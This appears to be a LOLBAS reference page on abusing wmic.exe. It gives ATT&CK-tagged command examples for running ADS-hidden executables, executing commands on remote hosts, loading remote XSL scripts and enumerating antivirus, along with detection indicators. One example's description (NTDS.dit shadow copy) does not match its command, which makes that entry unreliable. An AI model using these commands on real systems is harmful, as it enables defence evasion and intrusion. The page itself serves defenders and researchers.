LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Wmic.exe

View source

The WMI command-line (WMIC) utility provides a command-line interface for WMI

ADSExecuteCopy
07COMMAND EXAMPLES
04ATT&CK TECHNIQUES
12DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

7 examples

ADS1

EXAMPLE 01T1564.004

Execute a .EXE file stored as an Alternate Data Stream (ADS)

COMMAND
wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"
USE CASE
Execute binary file hidden in Alternate data streams to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXE

Execute5

EXAMPLE 01T1218

Execute calc from wmic

COMMAND
wmic.exe process call create "{CMD}"
USE CASE
Execute binary from wmic to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · CMD
EXAMPLE 02T1218

Execute evil.exe on the remote system.

COMMAND
wmic.exe /node:"192.168.0.1" process call create "{CMD}"
USE CASE
Execute binary on a remote system
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · CMDExecute · Remote
EXAMPLE 03T1218

Create a volume shadow copy of NTDS.dit that can be copied.

COMMAND
wmic.exe process get brief /format:"{REMOTEURL:.xsl}"
USE CASE
Execute binary on remote system
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · XSLExecute · Remote
EXAMPLE 04T1218

Executes JScript or VBScript embedded in the target remote XSL stylsheet.

COMMAND
wmic.exe process get brief /format:"{PATH_SMB:.xsl}"
USE CASE
Execute script from remote system
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · XSLExecute · Remote
EXAMPLE 05T1518.001

Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.

COMMAND
WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productState
USE CASE
Recon
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DiscoveryExecute · Antivirus Enumeration

Copy1

EXAMPLE 01T1105

Copy file from source to destination.

COMMAND
wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"
USE CASE
Copy file.
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\wbem\wmic.exe
C:\Windows\SysWOW64\wbem\wmic.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

12 resources

Indicators & detection notes

  • IOC

    Wmic retrieving scripts from remote system/Internet location

  • IOC

    DotNet CLR libraries loaded into wmic.exe

  • IOC

    DotNet CLR Usage Log - wmic.exe.log

  • IOC

    wmiprvse.exe writing files

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee
Avihay Eldad@AvihayEldad